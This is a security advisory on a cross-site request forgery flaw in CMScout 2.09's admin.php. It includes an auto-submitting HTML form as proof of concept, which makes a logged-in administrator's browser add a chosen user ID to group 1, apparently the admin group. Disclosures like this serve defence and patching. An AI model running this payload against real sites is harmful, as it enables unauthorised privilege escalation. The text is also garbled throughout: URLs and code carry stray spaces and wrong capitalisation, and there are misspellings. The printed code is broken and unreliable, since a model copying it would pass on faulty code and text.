Cmscout2.09 CSRF Vulnerability

Vulnerability ID: HTB22719
Reference: html "> http://www.htbridge.ch/advisory/xsrf_csrf_in_cmscout.html
Product: CMScout
Vendor: CMScout Team (http://www.cmscout.co.za /)
Vulnerable Version: 2.09 and probably prior versions
Vendor Notification: 25 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA-Ethical Hacking & Penetration Testing (http://www.htbridge.ch /)

Vulnerability Details:
The vulnerability exists due to failure in the "admin. php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability cocould result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<Form action = "http: // host/admin. php? Page = users & subpage = usergroups & action = add & uid = USER_ID "method =" post "name =" main ">
<Input type = "hidden" name = "gid" value = "1">
<Input type = "hidden" name = "utype" value = "2">
<Input type = "hidden" name = "action" value = "Add">
</Form>
<Script>
Document. main. submit ();
</Script>